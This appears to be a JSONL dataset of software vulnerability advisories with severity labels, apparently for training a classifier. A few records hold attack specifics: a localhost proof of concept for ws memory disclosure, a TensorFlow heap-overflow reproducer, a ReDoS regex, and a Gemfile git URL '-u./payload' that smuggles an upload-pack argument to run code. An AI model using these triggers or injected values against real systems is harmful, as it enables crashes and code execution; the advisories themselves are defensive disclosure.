-{"id": "8a5984e38f2078f9dee6", "text": "printf vulnerable to Regular Expression Denial of Service (ReDoS)\n\nThe package printf before 0.6.1 are vulnerable to Regular Expression Denial of Service (ReDoS) via the regex string \n```regex\n/\\%(?:\\(([\\w_.]+)\\)|([1-9]\\d*)\\$)?([0 +\\-\\]*)(\\*|\\d+)?(\\.)?(\\*|\\d+)?[hlL]?([\\%bscdeEfFgGioOuxX])/g\n```\n in `lib/printf.js`. The vulnerable regular expression has cubic worst-case time complexity.", "text_raw": "printf vulnerable to Regular Expression Denial of Service (ReDoS)\n\n[Severity: HIGH]\n\nThe package printf before 0.6.1 are vulnerable to Regular Expression Denial of Service (ReDoS) via the regex string \n```regex\n/\\%(?:\\(([\\w_.]+)\\)|([1-9]\\d*)\\$)?([0 +\\-\\]*)(\\*|\\d+)?(\\.)?(\\*|\\d+)?[hlL]?([\\%bscdeEfFgGioOuxX])/g\n```\n in `lib/printf.js`. The vulnerable regular expression has cubic worst-case time complexity.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-19", "split": "train"}
-{"id": "b4895691fbb80b2d2a54", "text": "PyCA Cryptography vulnerable to GCM tag forgery\n\nA flaw was found in python-cryptography versions between >=1.9.0 and <2.3. The finalize_with_tag API did not enforce a minimum tag length. If a user did not validate the input length prior to passing it to finalize_with_tag an attacker could craft an invalid payload with a shortened tag (e.g. 1 byte) such that they would have a 1 in 256 chance of passing the MAC check. GCM tag forgeries can cause key leakage.", "text_raw": "PyCA Cryptography vulnerable to GCM tag forgery\n\n[Severity: HIGH]\n\nA flaw was found in python-cryptography versions between >=1.9.0 and <2.3. The finalize_with_tag API did not enforce a minimum tag length. If a user did not validate the input length prior to passing it to finalize_with_tag an attacker could craft an invalid payload with a shortened tag (e.g. 1 byte) such that they would have a 1 in 256 chance of passing the MAC check. GCM tag forgeries can cause key leakage.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-31", "split": "train"}
-{"id": "9151d57336fc1303310d", "text": "Microsoft Internet Explorer Remote Code Execution Vulnerability\n\nAffected: Microsoft Internet Explorer\n\nMicrosoft Internet Explorer contains an unspecified vulnerability that allows for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Internet Explorer Remote Code Execution Vulnerability\n\nAffected: Microsoft Internet Explorer\n\nMicrosoft Internet Explorer contains an unspecified vulnerability that allows for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "2a0a0a4c32dc9c8350b0", "text": "FatPipe Networks WARP/IPVPN/MPVPN 10.2.2 Hidden Backdoor Account (Write Access)", "text_raw": "FatPipe Networks WARP/IPVPN/MPVPN 10.2.2 Hidden Backdoor Account (Write Access)\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2021-09-27", "split": "train"}
-{"id": "e6b1e3d1b60c1696901c", "text": "Path Traversal in angular-http-server\n\nVersions of `angular-http-server` before 1.4.4 are vulnerable to path traversal.\n\n## Recommendation\n\nUpdate to version 1.4.4 or later.", "text_raw": "Path Traversal in angular-http-server\n\n[Severity: HIGH]\n\nVersions of `angular-http-server` before 1.4.4 are vulnerable to path traversal.\n\n\n## Recommendation\n\nUpdate to version 1.4.4 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-05-31", "split": "train"}
-{"id": "d0b57aa0fbc853283942", "text": "Ansible is vulnerable to an improper input validation in Ansible's handling of data sent from client systems\n\nAnsible before versions 2.1.4.0, 2.2.1.0 is vulnerable to an improper input validation in Ansible's handling of data sent from client systems. An attacker with control over a client system being managed by Ansible and the ability to send facts back to the Ansible server could use this flaw to execute arbitrary code on the Ansible server using the Ansible server privileges.", "text_raw": "Ansible is vulnerable to an improper input validation in Ansible's handling of data sent from client systems\n\n[Severity: CRITICAL]\n\nAnsible before versions 2.1.4.0, 2.2.1.0 is vulnerable to an improper input validation in Ansible's handling of data sent from client systems. An attacker with control over a client system being managed by Ansible and the ability to send facts back to the Ansible server could use this flaw to execute arbitrary code on the Ansible server using the Ansible server privileges.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-10", "split": "train"}
-{"id": "f75a5ac410018ff89d84", "text": "OS Command Injection in compile-sass\n\ncompile-sass prior to 1.0.5 allows execution of arbritary commands. The function &quot;setupCleanupOnExit(cssPath)&quot; within &quot;dist/index.js&quot; is executed as part of the &quot;rm&quot; command without any sanitization.", "text_raw": "OS Command Injection in compile-sass\n\n[Severity: HIGH]\n\ncompile-sass prior to 1.0.5 allows execution of arbritary commands. The function &quot;setupCleanupOnExit(cssPath)&quot; within &quot;dist/index.js&quot; is executed as part of the &quot;rm&quot; command without any sanitization.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "1502f3fb68a3628eb8b3", "text": "Malicious Package in cxt\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in cxt\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "1fd51162fe1c8b8988b2", "text": "Stored cross-site scripting in PressBooks\n\nPressBooks 5.17.3 contains a cross-site scripting (XSS). Stored XSS can be submitted via the Book Info's Long Description Body, and all actions to open or preview the books page will result in the triggering the stored XSS.", "text_raw": "Stored cross-site scripting in PressBooks\n\n[Severity: MEDIUM]\n\nPressBooks 5.17.3 contains a cross-site scripting (XSS). Stored XSS can be submitted via the Book Info's Long Description Body, and all actions to open or preview the books page will result in the triggering the stored XSS.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "3fa980009d57a8596d8f", "text": "Local Code Execution through Argument Injection via dash leading git url parameter in Gemfile.\n\nIn `bundler` versions before 2.2.33, when working with untrusted and apparently harmless `Gemfile`'s, it is not expected that they lead to execution of external code, unless that's explicit in the ruby code inside the `Gemfile` itself. However, if the `Gemfile` includes `gem` entries that use the `git` option with invalid, but seemingly harmless, values with a leading dash, this can be false.\n\nTo handle dependencies that come from a Git repository instead of a registry, Bundler uses various commands, such as `git clone`. These commands are being constructed using user input (e.g. the repository URL). When building the\ncommands, Bundler versions before 2.2.33 correctly avoid Command Injection vulnerabilities by passing an array of arguments instead of a command string. However, there is the possibility that a user input starts with a dash (`-`) and is therefore treated as an optional argument instead of a positional one. This can lead to Code Execution because some of the commands have options that can be leveraged to run arbitrary executables.\n\nSince this value comes from the `Gemfile` file, it can contain any character, including a leading dash.\n\n### Exploitation\n\nTo exploit this vulnerability, an attacker has to craft a directory containing a `Gemfile` file that declares a dependency that is located in a Git repository. This dependency has to have a Git URL in the form of `-u./payload`. This URL\nwill be used to construct a Git clone command but will be interpreted as the [upload-pack](https://git-scm.com/docs/git-clone#Documentation/git-clone.txt--ultupload-packgt) argument. Then this directory needs to be shared with the victim, who then needs to run a command that evaluates the Gemfile, such as `bundle lock`, inside.\n\n### Impact\n\nThis vulnerability can lead to Arbitrary Code Execution, which could potentially lead to the takeover of the system. However, as explained above, the exploitability is very low, because it requires a lot of user interaction. It still could put developers at risk when dealing with untrusted files in a way they think is safe, because the exploit still works when the victim tries to make sure nothing can happen, e.g. by manually reviewing the `Gemfile` (although they would need the weird URL with a leading dash to not raise any flags).\n\nThis kind of attack vector [has been used in the past](https://www.cnbc.com/2021/01/26/north-korean-hackers-targeting-security-researchers-on-twitter.html) to target security researchers by sending them projects to collaborate on.\n\n### Patches\n\nBundler 2.2.33 has patched this problem by inserting `--` as an argument before any positional arguments to those Git commands that were affected by this issue.\n\n### Workarounds\n\nRegardless of whether users can upgrade or not, they should review any untrustred `Gemfile`'s before running any `bundler` commands that may read them, since they can contain arbitrary ruby code.\n\n### References\n\nhttps://cwe.mitre.org/data/definitions/88.html", "text_raw": "Local Code Execution through Argument Injection via dash leading git url parameter in Gemfile.\n\n[Severity: MEDIUM]\n\nIn `bundler` versions before 2.2.33, when working with untrusted and apparently harmless `Gemfile`'s, it is not expected that they lead to execution of external code, unless that's explicit in the ruby code inside the `Gemfile` itself. However, if the `Gemfile` includes `gem` entries that use the `git` option with invalid, but seemingly harmless, values with a leading dash, this can be false.\n\nTo handle dependencies that come from a Git repository instead of a registry, Bundler uses various commands, such as `git clone`. These commands are being constructed using user input (e.g. the repository URL). When building the\ncommands, Bundler versions before 2.2.33 correctly avoid Command Injection vulnerabilities by passing an array of arguments instead of a command string. However, there is the possibility that a user input starts with a dash (`-`) and is therefore treated as an optional argument instead of a positional one. This can lead to Code Execution because some of the commands have options that can be leveraged to run arbitrary executables.\n\nSince this value comes from the `Gemfile` file, it can contain any character, including a leading dash.\n\n### Exploitation\n\nTo exploit this vulnerability, an attacker has to craft a directory containing a `Gemfile` file that declares a dependency that is located in a Git repository. This dependency has to have a Git URL in the form of `-u./payload`. This URL\nwill be used to construct a Git clone command but will be interpreted as the [upload-pack](https://git-scm.com/docs/git-clone#Documentation/git-clone.txt--ultupload-packgt) argument. Then this directory needs to be shared with the victim, who then needs to run a command that evaluates the Gemfile, such as `bundle lock`, inside.\n\n### Impact\n\nThis vulnerability can lead to Arbitrary Code Execution, which could potentially lead to the takeover of the system. However, as explained above, the exploitability is very low, because it requires a lot of user interaction. It still could put developers at risk when dealing with untrusted files in a way they think is safe, because the exploit still works when the victim tries to make sure nothing can happen, e.g. by manually reviewing the `Gemfile` (although they would need the weird URL with a leading dash to not raise any flags).\n\nThis kind of attack vector [has been used in the past](https://www.cnbc.com/2021/01/26/north-korean-hackers-targeting-security-researchers-on-twitter.html) to target security researchers by sending them projects to collaborate on.\n\n### Patches\n\nBundler 2.2.33 has patched this problem by inserting `--` as an argument before any positional arguments to those Git commands that were affected by this issue.\n\n### Workarounds\n\nRegardless of whether users can upgrade or not, they should review any untrustred `Gemfile`'s before running any `bundler` commands that may read them, since they can contain arbitrary ruby code.\n\n### References\n\nhttps://cwe.mitre.org/data/definitions/88.html", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-08", "split": "train"}
-{"id": "626026a185aa0a954614", "text": "Improper Certificate Validation in Heartland & Global Payments PHP SDK\n\nGateways/Gateway.php in Heartland & Global Payments PHP SDK before 2.0.0 does not enforce SSL certificate validations.", "text_raw": "Improper Certificate Validation in Heartland & Global Payments PHP SDK\n\n[Severity: MEDIUM]\n\nGateways/Gateway.php in Heartland & Global Payments PHP SDK before 2.0.0 does not enforce SSL certificate validations.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "f9d2f54c45672950f450", "text": "Cross-site scripting in SiCKRAGE\n\nin SiCKRAGE, versions 4.2.0 to 10.0.11.dev1 are vulnerable to Stored Cross-Site-Scripting (XSS) due to user input not being validated properly when processed by the server. Therefore, an attacker can inject arbitrary JavaScript code inside the application, and possibly steal a user’s sensitive information.", "text_raw": "Cross-site scripting in SiCKRAGE\n\n[Severity: MEDIUM]\n\nin SiCKRAGE, versions 4.2.0 to 10.0.11.dev1 are vulnerable to Stored Cross-Site-Scripting (XSS) due to user input not being validated properly when processed by the server. Therefore, an attacker can inject arbitrary JavaScript code inside the application, and possibly steal a user’s sensitive information.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-20", "split": "train"}
-{"id": "f5c8bddf203da41a8872", "text": "Directory traversal outside of SENDFILE_ROOT in django-sendfile2\n\ndjango-sendfile2 currently relies on the backend to correctly limit file paths to `SENDFILE_ROOT`. This is not the case for the `simple` and `development` backends, it is also not necessarily the case for any of the other backends either (it's just an assumption that was made by the original author).\n\nThis will be fixed in 0.6.0 which is to be released the same day as this advisory is made public.\n\nWhen upgrading, you will need to make sure `SENDFILE_ROOT` is set in your settings module if it wasn't already.", "text_raw": "Directory traversal outside of SENDFILE_ROOT in django-sendfile2\n\n[Severity: MEDIUM]\n\ndjango-sendfile2 currently relies on the backend to correctly limit file paths to `SENDFILE_ROOT`. This is not the case for the `simple` and `development` backends, it is also not necessarily the case for any of the other backends either (it's just an assumption that was made by the original author).\n\nThis will be fixed in 0.6.0 which is to be released the same day as this advisory is made public.\n\nWhen upgrading, you will need to make sure `SENDFILE_ROOT` is set in your settings module if it wasn't already.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-06-24", "split": "train"}
-{"id": "bcf734ab7941b0a71315", "text": "Data races in rocket\n\nThe affected version of rocket contains a Clone trait implementation of LocalRequest that reuses the pointer to inner Request object. This causes data race in rare combinations of APIs if the original and the cloned objects are modified at the same time.", "text_raw": "Data races in rocket\n\n[Severity: HIGH]\n\nThe affected version of rocket contains a Clone trait implementation of LocalRequest that reuses the pointer to inner Request object. This causes data race in rare combinations of APIs if the original and the cloned objects are modified at the same time.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "d5cd398252da31d35300", "text": "HashiCorp Consul and Consul Enterprise 1.10.1 Txn.Apply endpoint allowed services to register proxies for other services, enabling access to service traffic.\n\nHashiCorp Consul and Consul Enterprise 1.10.1 Txn.Apply endpoint allowed services to register proxies for other services, enabling access to service traffic. Fixed in 1.8.15, 1.9.9 and 1.10.2.", "text_raw": "HashiCorp Consul and Consul Enterprise 1.10.1 Txn.Apply endpoint allowed services to register proxies for other services, enabling access to service traffic.\n\n[Severity: MEDIUM]\n\nHashiCorp Consul and Consul Enterprise 1.10.1 Txn.Apply endpoint allowed services to register proxies for other services, enabling access to service traffic. Fixed in 1.8.15, 1.9.9 and 1.10.2.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-08", "split": "train"}
-{"id": "8b4c84d09307e6e689eb", "text": "Remote Memory Disclosure in ws\n\nVersions of `ws` prior to 1.0.1 are affected by a remote memory disclosure vulnerability.\n\nIn certain rare circumstances, applications which allow users to control the arguments of a `client.ping()` call will cause `ws` to send the contents of an allocated but non-zero-filled buffer to the server. This may disclose sensitive information that still exists in memory after previous use of the memory for other tasks.\n\n## Proof of Concept\n```\nvar ws = require('ws')\n\nvar server = new ws.Server({ port: 9000 })\nvar client = new ws('ws://localhost:9000')\n\nclient.on('open', function () {\n  console.log('open')\n  client.ping(50) // this sends a non-zeroed buffer of 50 bytes\n\nclient.on('pong', function (data) {\n    console.log('got pong')\n    console.log(data) // Data from the client. \n  })\n})\n```\n\n## Recommendation\n\nUpdate to version 1.0.1 or greater.", "text_raw": "Remote Memory Disclosure in ws\n\n[Severity: LOW]\n\nVersions of `ws` prior to 1.0.1 are affected by a remote memory disclosure vulnerability.\n\nIn certain rare circumstances, applications which allow users to control the arguments of a `client.ping()` call will cause `ws` to send the contents of an allocated but non-zero-filled buffer to the server. This may disclose sensitive information that still exists in memory after previous use of the memory for other tasks.\n\n\n\n## Proof of Concept\n```\nvar ws = require('ws')\n\nvar server = new ws.Server({ port: 9000 })\nvar client = new ws('ws://localhost:9000')\n\nclient.on('open', function () {\n  console.log('open')\n  client.ping(50) // this sends a non-zeroed buffer of 50 bytes\n\n  client.on('pong', function (data) {\n    console.log('got pong')\n    console.log(data) // Data from the client. \n  })\n})\n```\n\n\n## Recommendation\n\nUpdate to version 1.0.1 or greater.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "9a910578067dddd4224b", "text": "Doorkeeper vulnerable to Cross-site Request Forgery\n\nCross-site request forgery (CSRF) vulnerability in doorkeeper before 1.4.1 allows remote attackers to hijack the authentication of unspecified victims for requests that read a user OAuth authorization code via unknown vectors.", "text_raw": "Doorkeeper vulnerable to Cross-site Request Forgery\n\n[Severity: MEDIUM]\n\nCross-site request forgery (CSRF) vulnerability in doorkeeper before 1.4.1 allows remote attackers to hijack the authentication of unspecified victims for requests that read a user OAuth authorization code via unknown vectors.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-09-17", "split": "train"}
-{"id": "d9fcaac69bba9415a0a0", "text": "Incorrect permissions in Apache Ozone\n\nIn Apache Ozone before 1.2.0, Ozone Datanode doesn't check the access mode parameter of the block token. Authenticated users with valid READ block token can do any write operation on the same block.", "text_raw": "Incorrect permissions in Apache Ozone\n\n[Severity: MEDIUM]\n\nIn Apache Ozone before 1.2.0, Ozone Datanode doesn't check the access mode parameter of the block token. Authenticated users with valid READ block token can do any write operation on the same block.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-23", "split": "train"}
-{"id": "3b2ee72452d3f2dc2c79", "text": "Segfault and heap buffer overflow in `{Experimental,}DatasetToTFRecord`\n\n### Impact\nThe implementation for `tf.raw_ops.ExperimentalDatasetToTFRecord` and `tf.raw_ops.DatasetToTFRecord` can trigger heap buffer overflow and segmentation fault:\n\n```python\nimport tensorflow as tf\n\ndataset = tf.data.Dataset.range(3)\ndataset = tf.data.experimental.to_variant(dataset)\ntf.raw_ops.ExperimentalDatasetToTFRecord(\n  input_dataset=dataset,\n  filename='/tmp/output',\n  compression_type='')\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/f24faa153ad31a4b51578f8181d3aaab77a1ddeb/tensorflow/core/kernels/data/experimental/to_tf_record_op.cc#L93-L102) assumes that all records in the dataset are of string type. However, there is no check for that, and the example given above uses numeric types.\n\n### Patches\nWe have patched the issue in GitHub commit [e0b6e58c328059829c3eb968136f17aa72b6c876](https://github.com/tensorflow/tensorflow/commit/e0b6e58c328059829c3eb968136f17aa72b6c876).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Segfault and heap buffer overflow in `{Experimental,}DatasetToTFRecord`\n\n[Severity: HIGH]\n\n### Impact\nThe implementation for `tf.raw_ops.ExperimentalDatasetToTFRecord` and `tf.raw_ops.DatasetToTFRecord` can trigger heap buffer overflow and segmentation fault:\n\n```python\nimport tensorflow as tf\n\ndataset = tf.data.Dataset.range(3)\ndataset = tf.data.experimental.to_variant(dataset)\ntf.raw_ops.ExperimentalDatasetToTFRecord(\n  input_dataset=dataset,\n  filename='/tmp/output',\n  compression_type='')\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/f24faa153ad31a4b51578f8181d3aaab77a1ddeb/tensorflow/core/kernels/data/experimental/to_tf_record_op.cc#L93-L102) assumes that all records in the dataset are of string type. However, there is no check for that, and the example given above uses numeric types.\n\n### Patches\nWe have patched the issue in GitHub commit [e0b6e58c328059829c3eb968136f17aa72b6c876](https://github.com/tensorflow/tensorflow/commit/e0b6e58c328059829c3eb968136f17aa72b6c876).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "483069d668dbbd06d9c8", "text": "Cross-site Scripting in Bolt\n\nBolt before 3.6.10 has XSS via createFolder or createFile in `Controller/Async/FilesystemManager.php`.", "text_raw": "Cross-site Scripting in Bolt\n\n[Severity: MEDIUM]\n\nBolt before 3.6.10 has XSS via createFolder or createFile in `Controller/Async/FilesystemManager.php`.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-11-08", "split": "train"}
-{"id": "ea85d01cdc1e0271d01a", "text": "Prototype pollution in 101\n\nPrototype pollution vulnerability in '101' versions 1.0.0 through 1.6.3 allows an attacker to cause a denial of service and may lead to remote code execution.", "text_raw": "Prototype pollution in 101\n\n[Severity: CRITICAL]\n\nPrototype pollution vulnerability in '101' versions 1.0.0 through 1.6.3 allows an attacker to cause a denial of service and may lead to remote code execution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-17", "split": "train"}
-{"id": "853bb4867d5ea50fe347", "text": "Cross-Site Scripting (XSS) in jquery\n\nAffected versions of `jquery` interpret `text/javascript` responses from cross-origin ajax requests, and automatically execute the contents in `jQuery.globalEval`, even when the ajax request doesn't contain the `dataType` option.\n\n## Recommendation\n\nUpdate to version 3.0.0 or later.", "text_raw": "Cross-Site Scripting (XSS) in jquery\n\n[Severity: MEDIUM]\n\nAffected versions of `jquery` interpret `text/javascript` responses from cross-origin ajax requests, and automatically execute the contents in `jQuery.globalEval`, even when the ajax request doesn't contain the `dataType` option.\n\n\n## Recommendation\n\nUpdate to version 3.0.0 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-01-22", "split": "train"}
-{"id": "9e998f22fffaee7c9c6e", "text": "Weak Password Recovery Mechanism for Forgotten Password in Strapi\n\nIn Strapi through 3.6.0, the admin panel allows the changing of one's own password without entering the current password. An attacker who gains access to a valid session can use this to take over an account by changing the password.", "text_raw": "Weak Password Recovery Mechanism for Forgotten Password in Strapi\n\n[Severity: HIGH]\n\nIn Strapi through 3.6.0, the admin panel allows the changing of one's own password without entering the current password. An attacker who gains access to a valid session can use this to take over an account by changing the password.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-06", "split": "train"}
-{"id": "fa851d5eefd8de334187", "text": "Arbitrary File Write in adm-zip\n\nVersions of `adm-zip` before 0.4.9 are vulnerable to arbitrary file write when used to extract a specifically crafted archive that contains path traversal filenames (`../../file.txt` for example).\n\n## Recommendation\n\nUpdate to version 0.4.9 or later.", "text_raw": "Arbitrary File Write in adm-zip\n\n[Severity: MEDIUM]\n\nVersions of `adm-zip` before 0.4.9 are vulnerable to arbitrary file write when used to extract a specifically crafted archive that contains path traversal filenames (`../../file.txt` for example).\n\n\n## Recommendation\n\nUpdate to version 0.4.9 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-27", "split": "train"}
-{"id": "3d1ed73a1c8fad1adeef", "text": "Path Traversal in openapi-python-client\n\n### Impact\nPath traversal vulnerability. If a user generated a client using a maliciously crafted OpenAPI document, it is possible for generated files to be placed in arbitrary locations on disk.\n\n### Patches\nA fix is being worked on for version 0.5.3\n\n### Workarounds\nInspect OpenAPI documents before generating clients for them.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [openapi-python-client](https://github.com/triaxtec/openapi-python-client/issues)\n* Email us at [danthony@triaxtec.com](mailto:danthony@triaxtec.com)", "text_raw": "Path Traversal in openapi-python-client\n\n[Severity: LOW]\n\n### Impact\nPath traversal vulnerability. If a user generated a client using a maliciously crafted OpenAPI document, it is possible for generated files to be placed in arbitrary locations on disk.\n\nGiving this a CVSS score of 3.0 (Low) with CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:C/C:N/I:L/A:N/E:P/RL:U/RC:C\n\n### Patches\nA fix is being worked on for version 0.5.3\n\n### Workarounds\nInspect OpenAPI documents before generating clients for them.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [openapi-python-client](https://github.com/triaxtec/openapi-python-client/issues)\n* Email us at [danthony@triaxtec.com](mailto:danthony@triaxtec.com)", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-08-20", "split": "train"}
-{"id": "3989349387c7db1d405b", "text": "Uncontrolled Resource Consumption in Pillow\n\nAn issue was discovered in Pillow before 8.2.0. For EPS data, the readline implementation used in EPSImageFile has to deal with any combination of \\r and \\n as line endings. It used an accidentally quadratic method of accumulating lines while looking for a line ending. A malicious EPS file could use this to perform a DoS of Pillow in the open phase, before an image was accepted for opening.", "text_raw": "Uncontrolled Resource Consumption in Pillow\n\n[Severity: HIGH]\n\nAn issue was discovered in Pillow before 8.2.0. For EPS data, the readline implementation used in EPSImageFile has to deal with any combination of \\r and \\n as line endings. It used an accidentally quadratic method of accumulating lines while looking for a line ending. A malicious EPS file could use this to perform a DoS of Pillow in the open phase, before an image was accepted for opening.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-08", "split": "train"}
-{"id": "97b4a2368964ad6fabac", "text": "Sandbox Breakout / Arbitrary Code Execution in safer-eval\n\nVersions of `safer-eval` before 1.3.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. A payload using constructor properties can escape the sandbox and execute arbitrary code.\n\n## Recommendation\n\nUpgrade to version 1.3.2.", "text_raw": "Sandbox Breakout / Arbitrary Code Execution in safer-eval\n\n[Severity: CRITICAL]\n\nVersions of `safer-eval` before 1.3.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. A payload using constructor properties can escape the sandbox and execute arbitrary code.\n\n\n## Recommendation\n\nUpgrade to version 1.3.2.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-10-17", "split": "train"}
-{"id": "8f121350e52ff0dc6b13", "text": "Camel-xstream component in Apache Camel can allow remote attackers to execute arbitrary commands\n\nThe camel-xstream component in Apache Camel before 2.15.5 and 2.16.x before 2.16.1 allow remote attackers to execute arbitrary commands via a crafted serialized Java object in an HTTP request.", "text_raw": "Camel-xstream component in Apache Camel can allow remote attackers to execute arbitrary commands \n\n[Severity: CRITICAL]\n\nThe camel-xstream component in Apache Camel before 2.15.5 and 2.16.x before 2.16.1 allow remote attackers to execute arbitrary commands via a crafted serialized Java object in an HTTP request.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "b1a36b6df53bac27fbae", "text": "Apache Livy Cross-site scripting (XSS) in session names\n\nLivy server version 0.7.0-incubating (only) is vulnerable to a cross site scripting issue in the session name. A malicious user could use this flaw to access logs and results of other users' sessions and run jobs with their privileges. This issue is fixed in Livy 0.7.1-incubating.", "text_raw": "Apache Livy Cross-site scripting (XSS) in session names\n\n[Severity: MEDIUM]\n\nLivy server version 0.7.0-incubating (only) is vulnerable to a cross site scripting issue in the session name. A malicious user could use this flaw to access logs and results of other users' sessions and run jobs with their privileges. This issue is fixed in Livy 0.7.1-incubating.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-13", "split": "train"}
-{"id": "dfb84aff179b371fae73", "text": "Malicious Package in comander\n\nAll versions of `comander` contains malicious code . The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. Upon require the package attempts to start a cryptocurrency miner using coin-hive.\n\n## Recommendation\n\nRemove the package from your environment and verify whether your system is running the cryptocurrency miner.", "text_raw": "Malicious Package in comander\n\n[Severity: CRITICAL]\n\nAll versions of `comander` contains malicious code . The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. Upon require the package attempts to start a cryptocurrency miner using coin-hive.\n\n\n## Recommendation\n\nRemove the package from your environment and verify whether your system is running the cryptocurrency miner.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "23516f32cc821c1c9f24", "text": "Microsoft Exchange Server Privilege Escalation Vulnerability\n\nAffected: Microsoft Exchange Server\n\nMicrosoft Exchange Server contains an unspecified vulnerability that allows for privilege escalation.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-287\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Exchange Server Privilege Escalation Vulnerability\n\nAffected: Microsoft Exchange Server\n\nMicrosoft Exchange Server contains an unspecified vulnerability that allows for privilege escalation.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-287\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "bed45fb5a6fac544f2e0", "text": "Cross-Site Scripting in buttle\n\nAll versions of `buttle` are vulnerable to Cross-Site Scripting. Due to misconfiguration of its rendering engine, `buttle` does not sanitize the HTML output allowing attackers to run arbitrary JavaScript when processing malicious markdown files.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "text_raw": "Cross-Site Scripting in buttle\n\n[Severity: MEDIUM]\n\nAll versions of `buttle` are vulnerable to Cross-Site Scripting. Due to misconfiguration of its rendering engine, `buttle` does not sanitize the HTML output allowing attackers to run arbitrary JavaScript when processing malicious markdown files.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
